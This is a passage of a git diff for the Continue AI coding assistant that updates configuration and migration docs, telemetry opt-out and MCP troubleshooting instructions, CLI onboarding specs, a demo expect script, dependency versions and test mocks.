passed user inputs, including hub secrets and raw text values. To create a block that has an input, use mustache templating as follows: - -```yaml title="config.yaml" -name: myprofile/custom-model -version: 1.0.0 -schema: v1 - -models: - - name: My Favorite Model - provider: anthropic - apiKey: ${{ inputs.ANTHROPIC_API_KEY }} - defaultCompletionOptions: - temperature: ${{ inputs.TEMP }} -``` - -Which can then be imported like this: - -```yaml title="config.yaml" -name: myprofile/custom-agent -version: 1.0.0 -schema: v1 - -models: - - uses: myprofile/custom-model - with: - ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }} - TEMP: 0.9 -``` - -Note that hub secrets can be passed as inputs, using a similar mustache format: `secrets.SECRET_NAME`. - -### Overrides - -Block properties can be also be directly overriden using `override`. For example: - -```yaml title="config.yaml" -name: myprofile/custom-agent -version: 1.0.0 -schema: v1 - -models: - - uses: myprofile/custom-model - with: - ANTHROPIC_API_KEY: ${{ secrets.MY_ANTHROPIC_API_KEY }} - TEMP: 0.9 - override: - roles: - - chat -``` + + Learn how to build and configure configs, understand their capabilities, and customize them for your development workflow. + + ## Properties @@ -326,47 +213,55 @@ context: ### `rules` -List of rules that the LLM should follow. These are concatenated into the system message for all [Agent](/features/agent/quick-start), [Chat](/features/chat/quick-start), and [Edit](/features/edit/quick-start) requests. See the [rules deep dive](/customize/deep-dives/rules) for details. +Rules are concatenated into the system message for all [Agent](/ide-extensions/agent/quick-start), [Chat](/ide-extensions/chat/quick-start), and [Edit](/ide-extensions/edit/quick-start) requests. -Explicit rules can either be simple text or an object with the following properties: +Confiugration example: -- `name` (**required**): A display name/title for the rule -- `rule` (**required**): The text content of the rule -- `globs` (optional): When files are provided as context that match this glob pattern, the rule will be included. This can be either a single pattern (e.g., `"**/*.{ts,tsx}"`) or an array of patterns (e.g., `["src/**/*.ts", "tests/**/*.ts"]`). - -```yaml title="config.yaml"l +```yaml title="config.yaml" rules: - - Always annotate Python functions with their parameter and return types - - name: TypeScript best practices - rule: Always use TypeScript interfaces to define shape of objects. Use type aliases sparingly. - globs: "**/*.{ts,tsx}" - - name: TypeScript test patterns - rule: In TypeScript tests, use Jest's describe/it pattern and follow best practices for mocking. - globs: - - "src/**/*.test.ts" - - "tests/**/*.ts" - - uses: myprofile/my-mood-setter - with: - TONE: concise + - uses: sanity/sanity-opinionated # rules file stored on Continue Hub + - uses: file://user/Desktop/rules.md # rules file stored on local computer ``` +Rules file example: + +```md title="rules.md" +--- +name: Pirate rule +--- + +Talk like a pirate +``` + +See the [rules deep dive](/customize/deep-dives/rules) for more details. + --- ### `prompts` -A list of custom prompts that can be invoked from the chat window. Each prompt has a name, description, and the actual prompt text. +Prompts can be invoked with a / command. + +Configuration example: ```yaml title="config.yaml" prompts: - - name: check - description: Check for mistakes in my code - prompt: | - Please read the highlighted code and check for any mistakes. You should look for the following, and be extremely vigilant: - - Syntax errors - - Logic errors - - Security vulnerabilities + - uses: supabase/create-functions # prompts file stored on Continue Hub + - uses: file://user/Desktop/prompts.md # prompts file stored on local computer ``` +Prompts file example: + +```md title="prompts.md" +--- +name: Make pirate comments +invokable: true +--- + +Rewrite all comments in the active file to talk like a pirate +``` + +See the [prompts deep dive](/customize/deep-dives/prompts) for more details. + --- ### `docs` @@ -402,8 +297,8 @@ The [Model Context Protocol](https://modelcontextprotocol.io/introduction) is a - `args`: An optional array of arguments for the command. - `env`: An optional map of environment variables for the server process. - `cwd`: An optional working directory to run the command in. Can be absolute or relative path. -- `connectionTimeout`: An optional connection timeout number to the server in milliseconds. - `requestOptions`: Optional request options for `sse` and `streamable-http` servers. Same format as [model requestOptions](#models). +- `connectionTimeout`: Optional timeout for _initial_ connection to MCP server **Example:** @@ -566,3 +461,9 @@ models: maxPromptTokens: 1024 onlyMyCode: true ``` + +--- + +## `config.json` Deprecation + +`config.yaml `replaces `config.json`, which is deprecated. View the **[Migration Guide](/reference/yaml-migration)** for help transitioning from the old format. diff --git a/docs/reference/continue-mcp.mdx b/docs/reference/continue-mcp.mdx index 882a662c8..6481470d5 100644 --- a/docs/reference/continue-mcp.mdx +++ b/docs/reference/continue-mcp.mdx @@ -45,7 +45,7 @@ What context providers are available in Continue? ### Customization ``` -How do I add custom rules to my agent in Continue? +How do I add custom rules to my configuration in Continue? ``` ## Troubleshooting @@ -65,5 +65,5 @@ How do I add custom rules to my agent in Continue? ## Related Documentation - [MCP Overview](/customize/deep-dives/mcp) -- [Agent Mode](/features/agent/quick-start) +- [Agent Mode](/ide-extensions/agent/quick-start) - [Configuration](/customize/overview) diff --git a/docs/reference/deprecated-codebase.mdx b/docs/reference/deprecated-codebase.mdx index e17d13ad1..6e552493b 100644 --- a/docs/reference/deprecated-codebase.mdx +++ b/docs/reference/deprecated-codebase.mdx @@ -6,14 +6,14 @@ noindex: true --- - **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. + **This feature is deprecated.** The `@Codebase` context provider has been deprecated in favor of a more integrated approach to codebase awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. ## Migration Guide If you're currently using `@Codebase` or `@Folder` context providers, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides: -- Better integration with Continue's Agent features +- Better integration with Continue's Agent mode features - More intelligent context selection - Improved performance and accuracy diff --git a/docs/reference/deprecated-docs.mdx b/docs/reference/deprecated-docs.mdx index a62e88b49..f0e57d5d0 100644 --- a/docs/reference/deprecated-docs.mdx +++ b/docs/reference/deprecated-docs.mdx @@ -6,14 +6,14 @@ noindex: true --- - **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agents Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. + **This feature is deprecated.** The `@Docs` context provider has been deprecated in favor of a more integrated approach to documentation awareness. Please refer to our [Guide on Making Agent Mode Aware of Codebases and Documentation](/guides/codebase-documentation-awareness) for the recommended approach. ## Migration Guide If you're currently using the `@Docs` context provider, please migrate to the new approach outlined in our [codebase and documentation awareness guide](/guides/codebase-documentation-awareness). The new approach provides: -- Better integration with Continue's Agent features +- Better integration with Continue's Agent mode features - More intelligent context selection - Improved performance and accuracy diff --git a/docs/reference/json-reference.mdx b/docs/reference/json-reference.mdx index e11152efe..ad5ef6d16 100644 --- a/docs/reference/json-reference.mdx +++ b/docs/reference/json-reference.mdx @@ -6,7 +6,7 @@ noindex: true **This page documents deprecated functionality.** For creating slash commands and customizing Continue, please use: - - [Prompt blocks and prompt files](/customize/deep-dives/slash-commands) for slash commands + - [Prompt blocks and prompt files](/customize/deep-dives/prompts) for slash commands - [config.yaml](/reference) for configuration See the `config.yaml` reference and migration guide @@ -20,7 +20,7 @@ Below are details for each property that can be set in `config.json`. The config ## `models` -Your **chat** models are defined here, which are used for [Chat](/features/chat/how-it-works) and [Edit](/features/edit/how-it-works). +Your **chat** models are defined here, which are used for [Chat](/ide-extensions/chat/how-it-works) and [Edit](/ide-extensions/edit/how-it-works). Each model has specific configuration options tailored to its provider and functionality, which can be seen as suggestions while editing the json. diff --git a/docs/reference/yaml-migration.mdx b/docs/reference/yaml-migration.mdx index 4abcaf154..302237faf 100644 --- a/docs/reference/yaml-migration.mdx +++ b/docs/reference/yaml-migration.mdx @@ -1,17 +1,16 @@ --- title: "Migrating Config to YAML" -description: "Continue's YAML configuration format provides more readable, maintainable, consistent configuration files, as well as new configuration options and removal of some old configuration options. YAML is the preferred format and will be used to integrate with future Continue products. Below is a brief guide for migration from to ." +description: "Continue's YAML configuration format provides more readable, maintainable, consistent configuration files, as well as new configuration options and removal of some old configuration options. YAML is the preferred format and will be used to integrate with future Continue products. Below is a brief guide for migration from config.json to config.yaml." --- See also - [Intro to YAML](https://yaml.org/) -- [JSON Continue Config Reference](/reference) - [YAML Continue Config Reference](/reference) ## Create YAML file -Create a `config.yaml` file in your Continue Global Directory (`~/.continue` on Mac, `%USERPROFILE%\.continue`) alongside your current `config.json` file. If a `config.yaml` file is present, it will be loaded instead of `config.json`. +Create a `config.yaml` file in your Continue Global Directory (`~/.continue` on Mac, `%USERPROFILE%\.continue`) alongside your current config.json file. If a `config.yaml` file is present, it will be loaded instead of config.json. Give your configuration a `name` and a `version`: @@ -87,12 +86,12 @@ config.json config.yaml -``` +```yaml models: - name: GPT-4 provider: openai model: gpt-4 - apiKey: + apiKey: defaultCompletionOptions: temperature: 0.5 maxTokens: 2000 @@ -101,7 +100,8 @@ models: - edit - name: My Voyage Reranker provider: voyage - apiKey: + model: rerank-2 + apiKey: roles: - rerank - name: My Starcoder @@ -111,22 +111,25 @@ models: - autocomplete - name: My Ada Embedder provider: openai - apiKey: + model: text-embedding-ada-002 + apiKey: roles: - embed embedOptions: - - maxChunkSize: 256 - - maxBatchSize: 5 + maxChunkSize: 256 + maxBatchSize: 5 - name: Ollama Autodetect provider: ollama model: AUTODETECT - - name: My Open AI Compatible Model - Apply + roles: + - chat + - name: My Open AI Compatible Model provider: openai model: my-openai-compatible-model apiBase: http://3.3.3.3/v1 requestOptions: headers: - X-Auth-Token: + X-Auth-Token: roles: - chat - apply @@ -159,7 +162,7 @@ config.json config.yaml -``` +```yaml context: - provider: docs - provider: codebase @@ -178,14 +181,16 @@ The `systemMessage` property has been replaced with a `rules` property that take config.json ```json -{ "systemMessage": "Always give concise responses" } +{ + "systemMessage": "Always give concise responses" +} ``` **After** config.yaml -``` +```yaml rules: - Always give concise responses ``` @@ -214,7 +219,7 @@ config.json config.yaml -``` +```yaml prompts: - name: check description: Check for mistakes in my code @@ -239,8 +244,14 @@ config.json ```json { "docs": [ - { "startUrl": "https://docs.nestjs.com/", "title": "nest.js" }, - { "startUrl": "https://mysite.com/docs/", "title": "My site" } + { + "startUrl": "https://docs.nestjs.com/", + "title": "nest.js" + }, + { + "startUrl": "https://mysite.com/docs/", + "title": "My site" + } ] } ``` @@ -249,7 +260,7 @@ config.json config.yaml -``` +```yaml docs: - name: nest.js startUrl: https://docs.nestjs.com/ @@ -279,8 +290,14 @@ config.json "transport": { "type": "stdio", "command": "uvx", - "args": ["mcp-server-sqlite", "--db-path", "/Users/NAME/test.db"], - "env": { "KEY": "" } + "args": [ + "mcp-server-sqlite", + "--db-path", + "/Users/NAME/test.db" + ], + "env": { + "KEY": "" + } } } ] @@ -292,7 +309,7 @@ config.json config.yaml -``` +```yaml mcpServers: - name: My MCP Server command: uvx @@ -308,13 +325,11 @@ mcpServers: ## Deprecated configuration options -Some deprecated `config.json` settings are no longer stored in config and have been moved to be editable through the user settings (Gear Icon). If found in `config.json`, they will be auto-migrated to User Settings and removed from `config.json`. +Some deprecated config.json settings are no longer stored in config and have been moved to be editable through the user settings (Gear Icon). If found in config.json, they will be auto-migrated to User Settings and removed from config.json. -See the [JSON Config Reference](/reference) for more information on fully deprecated options. +The following top-level fields from config.json have been deprecated and don't have a config.yaml equivalent: -The following top-level fields from `config.json` still work when using `config.json` but have been deprecated and don't have a YAML equivalent: - -- Slash commands (JSON `slashCommands`) +- Slash commands (`slashCommands`) - top-level `requestOptions` @@ -332,7 +347,7 @@ The following top-level fields from `config.json` still work when using `config. - `analytics` -The following top-level fields from `config.json` have been deprecated. Most UI-related and user-specific options will move into a settings page in the UI +The following top-level fields from config.json have been deprecated. Most UI-related and user-specific options will move into a settings page in the UI - `customCommands` - `experimental` diff --git a/docs/snippets/ModelRecommendations.jsx b/docs/snippets/ModelRecommendations.jsx index a802e96b7..1346e4edc 100644 --- a/docs/snippets/ModelRecommendations.jsx +++ b/docs/snippets/ModelRecommendations.jsx @@ -88,12 +88,14 @@ export const ModelRecommendations = ({ role = "all" }) => { notes: "Closed models are slightly better than open models", }, apply: { - open: ["N/A"], + open: [ + "[FastApply](https://hub.continue.dev/mdpauley/fast-apply-15b-v10)", + ], closed: [ "[Relace Instant Apply](https://hub.continue.dev/relace/instant-apply)", "[Morph Fast Apply](https://hub.continue.dev/morphllm/morph-v2)", ], - notes: "Open models are not good enough for this model role", + notes: "Closed models are better than open models", }, embed: { open: [ diff --git a/docs/telemetry.mdx b/docs/telemetry.mdx index dba2dc6d5..b566d046b 100644 --- a/docs/telemetry.mdx +++ b/docs/telemetry.mdx @@ -26,6 +26,25 @@ The following usage information is collected and reported: ## How to Opt Out +### IDE extensions + You can disable anonymous telemetry by toggling "Allow Anonymous Telemetry" off in the user settings. +#### VS Code + Alternatively in VS Code, you can disable telemetry through your VS Code settings by unchecking the "Continue: Telemetry Enabled" box (this will override the Settings Page settings). VS Code settings can be accessed with `File` > `Preferences` > `Settings` (or use the keyboard shortcut `ctrl` + `,` on Windows/Linux or `cmd` + `,` on macOS). + +### CLI + +For `cn`, the Continue CLI, set the environment variable `CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0` before running commands: + +```bash +export CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0 +cn +``` + +Or run it inline: + +```bash +CONTINUE_ALLOW_ANONYMOUS_TELEMETRY=0 cn +``` diff --git a/docs/troubleshooting.mdx b/docs/troubleshooting.mdx index 0aaa45506..4e2bc9fd3 100644 --- a/docs/troubleshooting.mdx +++ b/docs/troubleshooting.mdx @@ -7,7 +7,8 @@ description: "Comprehensive guide to resolving common issues with Continue, incl 2. [Try the latest pre-release](#download-the-latest-pre-release) 3. [Download an older version](#download-an-older-version) 4. [Resolve keyboard shortcut issues](#keyboard-shortcuts-not-resolving) -5. [Check FAQs for common issues](/faqs) +5. [MCP Server connection issues](#mcp-server-connection-issues) +6. [Check FAQs for common issues](/faqs) ## Check the logs @@ -79,6 +80,30 @@ If your keyboard shortcuts are not resolving, you may have other commands that a - [VSCode keyboard shortcuts docs](https://code.visualstudio.com/docs/getstarted/keybindings) - [IntelliJ keyboard shortcut docs](https://www.jetbrains.com/help/idea/configuring-keyboard-and-mouse-shortcuts.html) +## MCP Server connection issues + +### "spawn ENAMETOOLONG" error on macOS + +If you're seeing an error like `Failed to connect to ""` with `Error: spawn ENAMETOOLONG` when using MCP servers on macOS, this is due to the environment being too large when spawning the MCP process. + +**Workaround:** Use the full path to the command instead of relying on PATH resolution: + +```yaml +mcpServers: + - name: Memory MCP server + command: /usr/local/bin/npx # Use full path instead of just "npx" + args: + - -y + - "@modelcontextprotocol/server-memory" +``` + +To find the full path to a command on your system: +- For `npx`: run `which npx` +- For `docker`: run `which docker` +- For `uv`/`uvx`: run `which uv` or `which uvx` + +This issue typically affects macOS users with large development environments and is being tracked in [#7870](https://github.com/continuedev/continue/issues/7870) and [#6699](https://github.com/continuedev/continue/issues/6699). + ## Still having trouble? diff --git a/extensions/cli/.gitignore b/extensions/cli/.gitignore index dc3410527..67557ca37 100644 --- a/extensions/cli/.gitignore +++ b/extensions/cli/.gitignore @@ -11,3 +11,7 @@ chat.log config.yaml .continue-debug/ + +*.expect +!demo.expect +*.cast \ No newline at end of file diff --git a/extensions/cli/BUILD.md b/extensions/cli/BUILD.md index 553660f94..ae805a800 100644 --- a/extensions/cli/BUILD.md +++ b/extensions/cli/BUILD.md @@ -6,8 +6,9 @@ The Continue CLI uses esbuild to bundle the application along with local package ## Build Steps -1. **Install dependencies**: `npm install` -2. **Build**: `npm run build` +1. **Build packages**: `cd ../../ && node ./scripts/build-packages.js` +2. **Install dependencies**: `npm install` +3. **Build**: `npm run build` - This first builds the local packages - Then bundles everything with esbuild diff --git a/extensions/cli/README.md b/extensions/cli/README.md index 9f12eada0..324d3d7be 100644 --- a/extensions/cli/README.md +++ b/extensions/cli/README.md @@ -44,6 +44,10 @@ cn ls --json - `--resume`: Resume the last session for this terminal - ``: Optional prompt to start with +## Environment Variables + +- `CONTINUE_CLI_DISABLE_COMMIT_SIGNATURE`: Disable adding the Continue commit signature to generated commit messages + ## Commands - `cn`: Start an interactive chat session diff --git a/extensions/cli/build.mjs b/extensions/cli/build.mjs index 8ff5fa59b..11515b20b 100644 --- a/extensions/cli/build.mjs +++ b/extensions/cli/build.mjs @@ -81,8 +81,8 @@ try { // Add banner to create require for CommonJS packages banner: { - js: `import { createRequire } from 'module'; -const require = createRequire(import.meta.url);`, + js: `import { createRequire as __createRequire } from 'module'; +const require = __createRequire(import.meta.url);`, }, }); diff --git a/extensions/cli/demo.expect b/extensions/cli/demo.expect new file mode 100644 index 000000000..e762df796 --- /dev/null +++ b/extensions/cli/demo.expect @@ -0,0 +1,36 @@ +#!/usr/bin/expect -f +# Automated demo script for Continue TUI + +set timeout 30 +log_user 1 + +# Set terminal environment for better TUI rendering +set env(TERM) "xterm-256color" + +# Spawn cn directly inside an asciinema recording session +spawn bash -c "asciinema rec --overwrite demo.cast -c 'npm run start'" + +# Wait for TUI to load +sleep 5 + +# Demo interaction 1: Show help +send "?" +sleep 3 + +# Demo interaction 2: Close help +send "?" +sleep 2 + +# Demo interaction 3: Type a message +send "Hello, this is a demo!" +sleep 1 + +# Submit the message +send "\r" +sleep 3 + +# Exit the application with Ctrl+C +send "\x03" +sleep 1 + +expect eof diff --git a/extensions/cli/package-lock.json b/extensions/cli/package-lock.json index 729edf086..e645f4394 100644 --- a/extensions/cli/package-lock.json +++ b/extensions/cli/package-lock.json @@ -45,7 +45,6 @@ "@types/jszip": "^3.4.0", "@types/nock": "^10.0.3", "@types/react": "^19.1.8", - "@types/readline-sync": "^1.4.8", "@types/shell-quote": "^1.7.5", "@types/supertest": "^6.0.3", "@types/turndown": "^5.0.5", @@ -73,7 +72,7 @@ "glob": "^11.0.3", "gpt-tokenizer": "^3.0.1", "gradient-string": "^3.0.0", - "happy-dom": "^18.0.1", + "happy-dom": "^20.0.0", "ignore": "^7.0.5", "ignore-walk": "^7.0.0", "ink": "^6.1.0", @@ -90,7 +89,6 @@ "prettier": "^3.6.2", "prettier-plugin-tailwindcss": "^0.6.14", "react": "^19.1.0", - "readline-sync": "^1.4.10", "semantic-release": "^24.2.7", "shell-quote": "^1.8.3", "supertest": "^7.1.3", @@ -119,6 +117,7 @@ "dev": true, "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -185,6 +184,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -238,7 +238,7 @@ }, "../../packages/config-yaml": { "name": "@continuedev/config-yaml", - "version": "1.14.0", + "version": "1.23.0", "dev": true, "license": "Apache-2.0", "dependencies": { @@ -266,15 +266,16 @@ }, "../../packages/openai-adapters": { "name": "@continuedev/openai-adapters", - "version": "1.14.0", + "version": "1.15.0", "dev": true, "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.842.0", "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.1.0", + "@continuedev/fetch": "^1.5.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", @@ -5407,13 +5408,6 @@ "csstype": "^3.0.2" } }, - "node_modules/@types/readline-sync": { - "version": "1.4.8", - "resolved": "https://registry.npmjs.org/@types/readline-sync/-/readline-sync-1.4.8.tgz", - "integrity": "sha512-BL7xOf0yKLA6baAX6MMOnYkoflUyj/c7y3pqMRfU0va7XlwHAOTOIo4x55P/qLfMsuaYdJJKubToLqRVmRtRZA==", - "dev": true, - "license": "MIT" - }, "node_modules/@types/send": { "version": "0.17.5", "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.5.tgz", @@ -10241,9 +10235,9 @@ } }, "node_modules/happy-dom": { - "version": "18.0.1", - "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-18.0.1.tgz", - "integrity": "sha512-qn+rKOW7KWpVTtgIUi6RVmTBZJSe2k0Db0vh1f7CWrWclkkc7/Q+FrOfkZIb2eiErLyqu5AXEzE7XthO9JVxRA==", + "version": "20.0.2", + "resolved": "https://registry.npmjs.org/happy-dom/-/happy-dom-20.0.2.tgz", + "integrity": "sha512-pYOyu624+6HDbY+qkjILpQGnpvZOusItCk+rvF5/V+6NkcgTKnbOldpIy22tBnxoaLtlM9nXgoqAcW29/B7CIw==", "dev": true, "license": "MIT", "dependencies": { @@ -16448,16 +16442,6 @@ "dev": true, "license": "MIT" }, - "node_modules/readline-sync": { - "version": "1.4.10", - "resolved": "https://registry.npmjs.org/readline-sync/-/readline-sync-1.4.10.tgz", - "integrity": "sha512-gNva8/6UAe8QYepIQH/jQ2qn91Qj0B9sYjMBBs3QOB8F2CXcKgLxQaJRP76sWVRQt+QU+8fAkCbCvjjMFu7Ycw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.8.0" - } - }, "node_modules/reflect.getprototypeof": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", diff --git a/extensions/cli/package.json b/extensions/cli/package.json index 61da44989..c8b5a32b3 100644 --- a/extensions/cli/package.json +++ b/extensions/cli/package.json @@ -77,7 +77,6 @@ "@types/jszip": "^3.4.0", "@types/nock": "^10.0.3", "@types/react": "^19.1.8", - "@types/readline-sync": "^1.4.8", "@types/shell-quote": "^1.7.5", "@types/supertest": "^6.0.3", "@types/turndown": "^5.0.5", @@ -105,7 +104,7 @@ "glob": "^11.0.3", "gpt-tokenizer": "^3.0.1", "gradient-string": "^3.0.0", - "happy-dom": "^18.0.1", + "happy-dom": "^20.0.0", "ignore": "^7.0.5", "ignore-walk": "^7.0.0", "ink": "^6.1.0", @@ -122,7 +121,6 @@ "prettier": "^3.6.2", "prettier-plugin-tailwindcss": "^0.6.14", "react": "^19.1.0", - "readline-sync": "^1.4.10", "semantic-release": "^24.2.7", "shell-quote": "^1.8.3", "supertest": "^7.1.3", diff --git a/extensions/cli/spec/modes.md b/extensions/cli/spec/modes.md index 7296a19eb..49838a3b3 100644 --- a/extensions/cli/spec/modes.md +++ b/extensions/cli/spec/modes.md @@ -57,8 +57,7 @@ Users can switch modes during chat sessions using: Modes are implemented through the permission system: -- **ModeService**: Singleton service managing the current mode and initialization -- **ToolPermissionService**: Extended to support mode-specific policies with highest priority +- **ToolPermissionService**: Rectifies current mode and tool policies - **ModeIndicator**: UI component showing current mode (hidden for normal mode) - **Keyboard shortcuts**: Shift+Tab cycles through modes instantly - **Backward compatibility**: Existing `--readonly` flag maps to plan mode diff --git a/extensions/cli/spec/onboarding.md b/extensions/cli/spec/onboarding.md index 523b9067e..58c651322 100644 --- a/extensions/cli/spec/onboarding.md +++ b/extensions/cli/spec/onboarding.md @@ -7,7 +7,8 @@ When a user first runs `cn` in interactive mode, they will be taken through "onb **The onboarding flow runs when the user hasn't completed onboarding before, regardless of whether they have a valid config.yaml file.** 1. If the --config flag is provided, load this config -2. Otherwise, we will present the user with two options: +2. If the CONTINUE_USE_BEDROCK environment variable is set to "1", automatically use AWS Bedrock configuration and skip interactive prompts +3. Present the user with available options: - Log in with Continue: log them in, which will automatically create their assistant and then we can load the first assistant from the first org - Enter your Anthropic API key: let them enter the key, and then either create a ~/.continue/config.yaml with the following contents OR update the existing config.yaml to add the model @@ -23,7 +24,26 @@ When a user first runs `cn` in interactive mode, they will be taken through "onb ANTHROPIC_API_KEY: ``` -When something in the onboarding flow is done automatically, we should tell the user what happened. + When CONTINUE_USE_BEDROCK=1 is detected, it will use AWS Bedrock configuration. The user must have AWS credentials configured through the standard AWS credential chain (AWS CLI, environment variables, IAM roles, etc.). + +When something in the onboarding flow is done automatically, we should tell the user what happened. For example, when CONTINUE_USE_BEDROCK=1 is detected, the CLI displays: "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)" + +### AWS Bedrock Environment Variable + +Users can bypass the interactive onboarding menu by setting the `CONTINUE_USE_BEDROCK` environment variable to "1": + +```bash +export CONTINUE_USE_BEDROCK=1 +cn +``` + +This will: + +- Skip the interactive onboarding prompts +- Automatically configure the CLI to use AWS Bedrock +- Require that AWS credentials are already configured through the standard AWS credential chain +- Display a confirmation message to the user +- Mark onboarding as completed ## Normal flow diff --git a/extensions/cli/spec/otlp-metrics.md b/extensions/cli/spec/otlp-metrics.md index f1398558f..a3900f700 100644 --- a/extensions/cli/spec/otlp-metrics.md +++ b/extensions/cli/spec/otlp-metrics.md @@ -19,7 +19,7 @@ The Continue CLI should emit metrics that provide insights into: | Environment Variable | Description | Example Values | | ------------------------------- | --------------------------------------------------------- | ------------------------------------ | -| `CONTINUE_CLI_ENABLE_TELEMETRY` | Enables telemetry collection (required) | `1` | +| `CONTINUE_CLI_ENABLE_TELEMETRY` | Enables OTEL telemetry collection (required) | `1` | | `OTEL_METRICS_EXPORTER` | Metrics exporter type(s) (comma-separated) | `console`, `otlp`, `prometheus` | | `OTEL_LOGS_EXPORTER` | Logs/events exporter type(s) (comma-separated) | `console`, `otlp` | | `OTEL_EXPORTER_OTLP_PROTOCOL` | Protocol for OTLP exporter (all signals) | `grpc`, `http/json`, `http/protobuf` | diff --git a/extensions/cli/spec/shell-mode.md b/extensions/cli/spec/shell-mode.md index a3bdd6cf4..06ad477e9 100644 --- a/extensions/cli/spec/shell-mode.md +++ b/extensions/cli/spec/shell-mode.md @@ -1,73 +1,4 @@ -shell Mode (CLI TUI) - -Overview - -- shell mode lets users run shell commands directly from the chat input by starting their input with an exclamation mark (!). -- It is intended for quick terminal command execution without leaving the TUI. - -Activation - -- shell mode is activated when the current input (trimmed) starts with ! - - Example: "!git status" or " !ls -la" both activate shell mode. -- Visual indicator: - - Input border color changes to yellow. - - The input prompt indicator changes to a yellow "$". - - The input placeholder includes "! for shell mode". - -Deactivation / Exiting shell Mode - -- Pressing Enter to submit the input exits shell mode immediately after submission, regardless of the command result. -- Pressing Esc when the input (trimmed) is exactly ! clears the input and exits shell mode. -- Editing the input so it no longer starts with ! also exits shell mode and restores normal input behavior. - -Interaction with other input helpers - -- When in shell mode (input starts with !): - - "@" file search suggestions are disabled. - - "/" slash command UI is disabled. -- When in slash command mode (input starts with /): - - "@" file search suggestions are disabled. - -Submission behavior - -- On submit (Enter) with a shell-mode input: - - The leading ! is removed and the remainder is treated as the shell command to run. - - The TUI immediately appends an assistant message representing a shell tool call, with status set to calling, so users can see that the command is in progress. - - The shell command is executed asynchronously; when it completes, the tool call status is updated to done (or error) and the output is populated. - -Execution semantics - -- The command is executed in the same way as terminal tool commands, minus permissions - -Output handling - -- Stdout is streamed into memory; Stderr is captured and appended as a trailing "Stderr: ..." section on success. -- If the process exits non-zero and Stderr contains content, the tool call is marked as error and the error text is shown. -- Output is truncated to the first 5000 lines if exceeded. -- Timeout behavior: If no output is received for 30 seconds (configurable in tests), the process is terminated and the result includes a note like: - "[Command timed out after 30 seconds of no output]". - -Keyboard behaviors (summary) - -- Enter: submit input. If in shell mode, exits shell mode after submission and shows the pending shell tool call immediately. -- Shift+Enter: new line. -- Backslash (\) at end-of-line: inserts a new line (line continuation) as usual. -- Esc: if only ! (trimmed) is present, clears input and exits shell mode; otherwise cancels streaming or closes suggestions depending on context. - -Scope / Modes - -- shell mode applies to interactive (TUI/standard) CLI usage. It is not part of headless (-p/--print) processing. - -Error handling - -- Command execution errors are captured and surfaced in the tool call as status error with human-readable error text (including Stderr when available). - -Examples - -- "!git status" → shows a shell tool call immediately, then populates with the git status output. -- "!echo hello" → shows a shell tool call immediately, then output "hello". -- "!some-unknown-cmd" → shows a shell tool call immediately, then sets status to error with an error message. - Shell Mode (CLI TUI) +Shell Mode (CLI TUI) Overview diff --git a/extensions/cli/spec/telemtry.md b/extensions/cli/spec/telemtry.md index 0ece80739..e5f4d76f8 100644 --- a/extensions/cli/spec/telemtry.md +++ b/extensions/cli/spec/telemtry.md @@ -4,7 +4,7 @@ - Used by Continue for product metrics (not used by customers) - uses public posthog key in repo -- CONTINUE_CLI_ENABLE_TELEMETRY can be set to false to disable +- CONTINUE_ALLOW_ANONYMOUS_TELEMETRY can be set to 0 to disable - non-anonymous and private data like code is never sent to posthog - Event user ids are the Continue user id is signed in, or a unique machine id if not - Current events are slash command usage and chat calls diff --git a/extensions/cli/src/__mocks__/args.ts b/extensions/cli/src/__mocks__/args.ts deleted file mode 100644 index f982bdd09..000000000 --- a/extensions/cli/src/__mocks__/args.ts +++ /dev/null @@ -1,5 +0,0 @@ -import { vi } from "vitest"; - -export const processPromptOrRule = vi.fn<(spec: string) => Promise>(); - -export const processPrompt = vi.fn<(prompt: string) => Promise>(); diff --git a/extensions/cli/src/__mocks__/services/index.ts b/extensions/cli/src/__mocks__/services/index.ts index 7ea28d99b..5df13605a 100644 --- a/extensions/cli/src/__mocks__/services/index.ts +++ b/extensions/cli/src/__mocks__/services/index.ts @@ -1,3 +1,4 @@ +import { ToolPermissionService } from "src/services/ToolPermissionService.js"; import { vi } from "vitest"; export const services = { @@ -7,14 +8,23 @@ export const services = { switchOrganization: vi.fn(() => Promise.resolve({})), getAvailableOrganizations: vi.fn(() => Promise.resolve([])), }, + toolPermissions: vi.mocked(new ToolPermissionService()), }; export const reloadService = vi.fn(() => Promise.resolve(undefined)); export const SERVICE_NAMES = { AUTH: "auth", - API_CLIENT: "apiClient", CONFIG: "config", MODEL: "model", MCP: "mcp", -}; + API_CLIENT: "apiClient", + TOOL_PERMISSIONS: "toolPermissions", + FILE_INDEX: "fileIndex", + RESOURCE_MONITORING: "resourceMonitoring", + SYSTEM_MESSAGE: 